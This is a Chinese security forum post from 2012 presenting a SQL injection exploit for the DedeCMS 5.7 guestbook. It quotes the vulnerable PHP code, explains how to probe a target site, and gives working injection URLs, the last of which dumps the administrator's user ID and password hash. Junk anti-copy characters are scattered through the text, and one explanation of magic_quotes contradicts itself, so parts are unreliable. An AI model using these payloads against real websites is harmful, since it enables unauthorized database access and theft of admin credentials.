中国网络渗透测试联盟

标题: dedecms5.7最新sql注射漏洞利用 guestbook.php [打印本页]

作者: admin    时间: 2012-11-13 13:24
标题: dedecms5.7最新sql注射漏洞利用 guestbook.php
影响版本为5.7
( d- k& c  u# H2 i
* V7 L7 k! t+ h; s+ M漏洞文件edit.inc.php具体代码:0 j) ~& F8 J7 m. |7 ?  T- o0 s

5 b" x. O( D4 n1 u< ?php  & h5 W" a1 U% b; ^

# H2 n9 W4 x: S" k9 D" G# mif(!defined('DEDEINC')) exit('Request Error!');  0 v4 R7 v5 y* j# e. c3 B& K; h$ S% ?

$ J6 y, d* z  {2 N   
. \! \. O% |( l3 k5 s8 g$ p' ]
& Y  l- T5 E7 l/ ]* Dif(!empty($_COOKIE['GUEST_BOOK_POS'])) $GUEST_BOOK_POS = $_COOKIE['GUEST_BOOK_POS'];  
5 ~! x% \/ n1 q1 ]3 q1 ?4 e
; w* C7 ]# H8 b+ ^else $GUEST_BOOK_POS = "guestbook.php";  
1 p7 s! ~) k4 O
7 {5 \2 @- X+ ^" p. y8 R( Q; F% V   & h( V1 j, }! v8 J3 S' O( Q
  i2 |% I9 ^. z
$id = intval($id);  
1 C$ x. R0 O4 W/ _5 W4 g/ y% u& d) Y" C& S+ y
if(empty($job)) $job='view';  - L; ?- P1 i) v6 e  a! j
1 Q: o3 m  _! P8 j& }- E9 i
   
2 g) d0 L# A( X6 o1 Q  ]% E8 f
% x; }- m* M( eif($job=='del' && $g_isadmin)  3 |# j; `0 u( u5 R- n! t" e; x; p

$ l! [, B: [- n. g{  
; m/ U2 {4 K! R# E$ A% {3 K# }( F3 Z. g6 F
$dsql->ExecuteNoneQuery(" DELETE FROM `#@__guestbook` WHERE id='$id' ");  
2 u, e7 T  l. q" q/ M' ], g
! e( @1 u! i( x* s/ w7 RShowMsg("成功删除一条留言!", $GUEST_BOOK_POS);  
6 a- s' X# i$ ~  J3 I8 j- E: `' W( m- n4 x, j
exit();  
" C( Q9 h# r( f3 d, Q5 z- x
2 `; o, g! D/ {" t  \; @}  
+ N4 ?4 G4 P5 F% G8 y6 R& x% M1 _8 s5 a
else if($job=='check' && $g_isadmin)  
" n4 Z2 @! N4 `  T+ n- W. y6 p1 ^$ N+ a$ z8 F& [4 _
{  
9 M# v+ r" |1 T3 J( _3 X0 E7 C1 ]8 A( K; c
$dsql->ExecuteNoneQuery(" UPDATE `#@__guestbook` SET ischeck=1 WHERE id='$id' ");  ) |) ?+ u4 I( ?
  n4 H) o' m/ i+ g2 }# c3 |
ShowMsg("成功审核一条留言!", $GUEST_BOOK_POS);  
9 D' o6 G6 W# W4 K# ^* O. g/ Y0 D3 ]
5 u" R, B+ z# @! ?) J, P& \exit();  # e4 d' B5 [1 }
, D* k+ \6 |  e! a6 V
}  
6 N( r9 [3 t+ c. y4 @) H* Y+ ?; @# J  f1 T
else if($job=='editok')  
5 _; B7 P; [, Q. B3 @6 T7 n
0 {) _& [: ~7 ~7 v6 w8 o8 T! ^! Y- Y{  8 D- [! }+ @9 M3 q2 b
( e  }5 L6 Q2 g+ n- o' R
$remsg = trim($remsg);  . T+ h# @- I. H, V- l& O2 P
8 r6 S' P. P' g6 V. ^% J# `
if($remsg!='')  
$ Q9 ]6 W$ Z" Y+ `% j5 Z. _6 z0 v% t& v
{  ; [5 S9 {  e8 A; P

2 q. F5 K; X- V2 s% @//管理员回复不过滤HTML By:Errorera blog:errs.cc  
7 v% Q. g! t$ P; q1 A9 [* H1 N" y: s
if($g_isadmin)  1 N4 T5 B) \! S, Q4 g
" B' C5 Y+ c$ w* W% i/ l7 N" b
{  & l; S  Z$ x+ ]9 I' B

& i: z# u. {7 z6 ^" Y& Z$msg = "<div class='rebox'>".$msg."</div>\n".$remsg;  
* X4 w! b4 M; f% l7 t9 o: I8 M2 j# n4 k
//$remsg <br /><font color=red>管理员回复:</font> }  
+ n/ t" j0 |9 c6 I5 q: ~7 |7 v2 X/ |. o, }! a; n& C' o
else & D  ]. y! t- F, n/ v$ D

/ F, [/ b0 T* \{  0 R2 X7 r7 Q  j4 Q

+ _) R3 A& i. r8 B9 H3 {4 v$row = $dsql->GetOne("SELECT msg From `#@__guestbook` WHERE id='$id' ");  . G1 A* V; |6 ]9 w- t5 j

* Z, L6 o( @1 t2 z% q0 _$oldmsg = "<div class='rebox'>".addslashes($row['msg'])."</div>\n";  ; h1 B# j1 m% ~3 Q
8 _2 k# S, A6 v2 n
$remsg = trimMsg(cn_substrR($remsg, 1024), 1);  
! N! ]$ U: n7 o$ ^5 G* j0 i7 z  k; R5 \
! i" _# Z2 o$ B2 v1 [7 O2 |8 l! z3 O% _1 j$msg = $oldmsg.$remsg;  - k! s; i0 f. J

' O) V+ ]+ ^1 t0 W9 I5 v}  
4 R& |: V3 `5 t& _5 h4 l8 ^& p1 x! j7 x: M2 T1 j( W
}  . g7 K; _/ X" k0 q

% B; X& T8 i7 y6 Z; ]4 a//这里没有对$msg过滤,导致可以任意注入了By:Errorera home:www.errs.cc  
9 q9 q2 v( j. D9 q4 A5 V$ {7 [1 d4 n# r1 c, e
$dsql->ExecuteNoneQuery("UPDATE `#@__guestbook` SET `msg`='$msg', `posttime`='".time()."' WHERE id='$id' ");  * I- n) {; p$ ^4 T1 u" |7 ~7 m, @/ D

2 G8 |( d8 o! U! ^; b5 x: MShowMsg("成功更改或回复一条留言!", $GUEST_BOOK_POS);  
: w  e* T7 S+ Y4 M  P$ e$ Y/ T! M- ^# G9 T0 p: ^( Q& m
exit();  5 P3 |7 E! E% W$ U) @' R3 R

" I1 l0 B1 s! W3 `}  3 b$ b" d8 k; C5 E5 X+ F/ ^5 h

# m, R  r1 O0 M# G$ l9 c# W//home:www.errs.cc  8 ]) H+ V, b  \3 ]% e1 z% J3 P

( q: `' Y0 z0 y! l( a9 R" dif($g_isadmin)  4 \8 [) J. f; Y7 l

. ?  m0 ]$ ~4 L0 x4 y{  ' z# c2 L% J4 r0 W+ s
1 |4 }/ A  W% U6 s( U
$row = $dsql->GetOne("SELECT * FROM `#@__guestbook` WHERE id='$id'");  
' Z8 P' @5 X) |# r% t; n: b# U, B) T! C& F2 C# U- ]
require_once(DEDETEMPLATE.'/plus/guestbook-admin.htm');  
# }- R' E8 y6 Z, A
* D- h# ^2 B6 P  k& g, y; ?4 ~}  " I( @) w$ a, q2 `
5 n2 Y' K+ v- a' x% J* P
else , w% n1 r7 W+ R6 ]5 h% o; i2 {
8 a* s  }3 J9 A: U" z# a$ R
{  
( S+ @) U' s1 j: y" a" g7 x4 ?& Z0 C
$row = $dsql->GetOne("SELECT id,title FROM `#@__guestbook` WHERE id='$id'");  2 p* [, V9 ^* H( d- a% ]9 Y
. {) A9 w9 \0 c! y# o4 x6 s+ K+ |2 x
require_once(DEDETEMPLATE.'/plus/guestbook-user.htm');  & i! v: [, ?, Q* T

/ e, x: t1 x7 n& Y9 A} 漏洞成功需要条件:4 Q. b' r; L% p2 G
1. php magic_quotes_gpc=off
' V+ z+ D' q- U6 z0 B! l/ g% n2.漏洞文件存在 plus/guestbook.php dede_guestbook 表当然也要存在。1 w9 ]; r8 {, ^' O9 B) }% {
, q6 H3 v' ^/ e  j0 ~: w5 H
怎么判断是否存在漏洞:$ R! i( p' `$ W# B4 P
先打开www.xxx.com/plus/guestbook.php 可以看到别人的留言,
5 w8 Z) T  r3 ~" N* s( ]. k. H1 A然后鼠标放在 [回复/编辑] 上 可以看到别人留言的ID。那么记下ID
+ w- u" h, B! H' K访问:, f: {9 K+ f; }$ A0 {

; f  T. m; A8 m. u* |- D/ C% H/ I: Jwww.xxx.com/plus/guestbook.php?a ... tok&msg=errs.cc存在的留言ID提交后如果是dede5.7版本的话 会出现 “成功更改或回复一条留言” 那就证明修改成功了
% m' V1 F" I9 p: ~; j8 I: L跳回到www.xxx.com/plus/guestbook.php 看下你改的那条留言ID是否变成了 errs.cc’ 如果变成了 那么证, d% ~# U1 L2 j  l, O
/ v& {- g5 o4 ~/ d; b. n
, S' B: o* w& V: }3 k3 A0 c
明漏洞无法利用应为他开启了 php magic_quotes_gpc=off+ {, r0 g. v% ]7 J% M
如果没有修改成功,那留言ID的内容还是以前的 那就证明漏洞可以利用。
& b: o9 e% E# y0 h2 H那么再次访问
% o: C& Q1 m* |  V3 H  d8 J9 b8 R( R0 H$ R4 s
www.xxx.com/plus/guestbook.php?a ... ;job=editok&id=存在的留言ID&msg=',msg=user(),email='然后返回,那条留言ID的内容就直接修改成了mysql 的user().- R6 B9 @) P5 c# Y

# u* |- |% Q$ S4 [! Q# W7 H大概利用就是这样,大家有兴趣的多研究下!!- n( ?9 f) Z+ V7 y/ X
- C* }) \$ ~, P# c5 f& W1 O' ~
最后补充下,估计有人会说怎么暴管理后台帐户密码,你自己研究下 会知道的。反正绝对可以暴出来(不可以暴出来我就不会发)!!
( D) c/ z$ E9 ~4 b. X' j% U, ^3 ?1 d0 B9 P# f$ U7 U$ Q
view sourceprint?1 /plus/guestbook.php?action=admin&job=editok&id=146&msg=',msg=@`'`,msg=(selecT CONCAT(userid,0x7c,pwd) fRom `%23@__admin` LIMIT 0,1),email='




欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/) Powered by Discuz! X3.2